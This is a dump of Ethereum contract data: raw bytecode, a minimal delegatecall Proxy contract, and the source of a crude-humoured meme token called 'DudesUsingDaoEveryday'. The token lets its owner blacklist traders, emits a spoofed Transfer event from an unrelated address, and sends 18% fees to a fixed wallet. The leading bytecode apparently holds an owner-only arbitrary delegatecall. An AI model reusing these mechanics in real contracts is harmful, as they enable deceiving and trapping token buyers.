7fe5b046040518082815260200191505060405180910390a3508080600101915050610ec4565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106110cf57805182526020820191506020810190506020830392506110ac565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461112f576040519150601f19603f3d011682016040523d82523d6000602084013e611134565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600080611196735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23061139c565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806112415750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061128b5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806112c157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806113195750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061136d5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561137c576001915050611395565b611386858461152a565b61138f57600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106113db5783856113de565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561153f57506000600254145b801561154d57506000600354145b1561155b57600090506115fa565b600060045411156115b7576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115b657600090506115fa565b5b600060025411156115d6578160025411156115d557600090506115fa565b5b600060035411156115f5576003548211156115f457600090506115fa565b5b600190505b9291505056fea265627a7a72315820c4409849e85ea79a92132271a9877e4233a68ffc34eaec0f5ec138546ae6645964736f6c63430005110032
[ 0, 15, 8 ]
0xf2d65d9cae4e0a5593f760248ce31801bb797655
// File: contracts/Proxy.sol pragma solidity 0.6.12; contract Proxy { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXIABLE_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; // constructor(bytes memory constructData, address contractLogic) public { constructor(address contractLogic) public { // Verify a valid address was passed in require(contractLogic != address(0), "Contract Logic cannot be 0x0"); // save the code address assembly { // solium-disable-line sstore(PROXIABLE_MEM_SLOT, contractLogic) } } fallback() external payable { assembly { // solium-disable-line let contractLogic := sload(PROXIABLE_MEM_SLOT) let ptr := mload(0x40) calldatacopy(ptr, 0x0, calldatasize()) let success := delegatecall(gas(), contractLogic, ptr, calldatasize(), 0, 0) let retSz := returndatasize() returndatacopy(ptr, 0, retSz) switch success case 0 { revert(ptr, retSz) } default { return(ptr, retSz) } } } }
0x60806040527fc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf75460405136600082376000803683855af491503d806000833e8280156048578183f35b8183fdfea2646970667358221220711f7f4124f3a4539fb069bf9fb62fc1ba252cf4549956d7a10fc3bd3bf199a364736f6c634300060c0033
[ 2 ]
0xf2d753cff465c110d223642635fc35d780ff5b47
/** *Submitted for verification at Etherscan.io on 2021-12-08 */ //DUDE - DUDES USING DAO EVERYDAY //Seriously bro, what's up with all these coins using the word DAO and not meaning it? Like shit, it's that easy isn't it? //Welcome to DUDE where we're just dudes doing dude things. Buying shitcoins. Fucking bitches. //So like, yeah buy our coin, fuck bitches, get money //https://t.me/DudesERC /* */ pragma solidity ^0.8.6; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DudesUsingDaoEveryday is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "DudesUsingDaoEveryday"; string private constant _symbol = "Dude"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x347834d4DC327C29f9B5CECb818D9E9aC8d7e880); _feeAddrWallet2 = payable(0x347834d4DC327C29f9B5CECb818D9E9aC8d7e880); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xCa6BcCE11EC10D9d2e5db7FE92a1fa246cd5542e), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 9; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 9; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610350578063b515566a1461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b806370a08231146102a6578063715018a6146102e35780638da5cb5b146102fa57806395d89b411461032557610114565b806323b872dd116100dc57806323b872dd146101d5578063273123b714610212578063313ce5671461023b5780635932ead1146102665780636fc3eaec1461028f57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd146101815780631bbae6e0146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ae8565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612635565b61045e565b6040516101789190612acd565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612c4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612718565b61048e565b005b3480156101e157600080fd5b506101fc60048036038101906101f791906125e2565b61052d565b6040516102099190612acd565b60405180910390f35b34801561021e57600080fd5b5061023960048036038101906102349190612548565b610606565b005b34801561024757600080fd5b506102506106f6565b60405161025d9190612cbf565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906126be565b6106ff565b005b34801561029b57600080fd5b506102a46107b1565b005b3480156102b257600080fd5b506102cd60048036038101906102c89190612548565b610823565b6040516102da9190612c4a565b60405180910390f35b3480156102ef57600080fd5b506102f8610874565b005b34801561030657600080fd5b5061030f6109c7565b60405161031c91906129ff565b60405180910390f35b34801561033157600080fd5b5061033a6109f0565b6040516103479190612ae8565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190612635565b610a2d565b6040516103849190612acd565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612675565b610a4b565b005b3480156103c257600080fd5b506103cb610b75565b005b3480156103d957600080fd5b506103e2610bef565b005b3480156103f057600080fd5b5061040b600480360381019061040691906125a2565b61114e565b6040516104189190612c4a565b60405180910390f35b60606040518060400160405280601581526020017f44756465735573696e6744616f45766572796461790000000000000000000000815250905090565b600061047261046b6111d5565b84846111dd565b6001905092915050565b600069d3c21bcecceda1000000905090565b6104966111d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051a90612baa565b60405180910390fd5b8060108190555050565b600061053a8484846113a8565b6105fb846105466111d5565b6105f68560405180606001604052806028815260200161337460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac6111d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ad9092919063ffffffff16565b6111dd565b600190509392505050565b61060e6111d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461069b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069290612baa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107076111d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078b90612baa565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f26111d5565b73ffffffffffffffffffffffffffffffffffffffff161461081257600080fd5b600047905061082081611a11565b50565b600061086d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7d565b9050919050565b61087c6111d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090090612baa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4475646500000000000000000000000000000000000000000000000000000000815250905090565b6000610a41610a3a6111d5565b84846113a8565b6001905092915050565b610a536111d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad790612baa565b60405180910390fd5b60005b8151811015610b7157600160066000848481518110610b0557610b04613007565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b6990612f60565b915050610ae3565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb66111d5565b73ffffffffffffffffffffffffffffffffffffffff1614610bd657600080fd5b6000610be130610823565b9050610bec81611aeb565b50565b610bf76111d5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b90612baa565b60405180910390fd5b600f60149054906101000a900460ff1615610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90612c2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d6530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006111dd565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dab57600080fd5b505afa158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de39190612575565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4557600080fd5b505afa158015610e59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7d9190612575565b6040518363ffffffff1660e01b8152600401610e9a929190612a1a565b602060405180830381600087803b158015610eb457600080fd5b505af1158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec9190612575565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f7530610823565b600080610f806109c7565b426040518863ffffffff1660e01b8152600401610fa296959493929190612a6c565b6060604051808303818588803b158015610fbb57600080fd5b505af1158015610fcf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ff49190612745565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555069021e19e0c9bab24000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110f8929190612a43565b602060405180830381600087803b15801561111257600080fd5b505af1158015611126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114a91906126eb565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124490612c0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b490612b4a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161139b9190612c4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612bea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147f90612b0a565b60405180910390fd5b600081116114cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c290612bca565b60405180910390fd5b6009600a819055506009600b819055506114e36109c7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561155157506115216109c7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115fa5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61160357600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116ae5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117045750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561171c5750600f60179054906101000a900460ff165b156117cc5760105481111561173057600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061177b57600080fd5b600a426117889190612d80565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118775750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118cd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118e3576009600a819055506009600b819055505b60006118ee30610823565b9050600f60159054906101000a900460ff1615801561195b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119735750600f60169054906101000a900460ff165b1561199b5761198181611aeb565b600047905060008111156119995761199847611a11565b5b505b505b6119a8838383611d73565b505050565b60008383111582906119f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ec9190612ae8565b60405180910390fd5b5060008385611a049190612e61565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a79573d6000803e3d6000fd5b5050565b6000600854821115611ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abb90612b2a565b60405180910390fd5b6000611ace611d83565b9050611ae38184611dae90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b2357611b22613036565b5b604051908082528060200260200182016040528015611b515781602001602082028036833780820191505090505b5090503081600081518110611b6957611b68613007565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c0b57600080fd5b505afa158015611c1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c439190612575565b81600181518110611c5757611c56613007565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cbe30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111dd565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d22959493929190612c65565b600060405180830381600087803b158015611d3c57600080fd5b505af1158015611d50573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d7e838383611df8565b505050565b6000806000611d90611fc3565b91509150611da78183611dae90919063ffffffff16565b9250505090565b6000611df083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612028565b905092915050565b600080600080600080611e0a8761208b565b955095509550955095509550611e6886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611efd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f498161219b565b611f538483612258565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fb09190612c4a565b60405180910390a3505050505050505050565b60008060006008549050600069d3c21bcecceda10000009050611ffb69d3c21bcecceda1000000600854611dae90919063ffffffff16565b82101561201b5760085469d3c21bcecceda1000000935093505050612024565b81819350935050505b9091565b6000808311829061206f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120669190612ae8565b60405180910390fd5b506000838561207e9190612dd6565b9050809150509392505050565b60008060008060008060008060006120a88a600a54600b54612292565b92509250925060006120b8611d83565b905060008060006120cb8e878787612328565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061213583836040518060400160405280601e81526020017f536166654d6174683a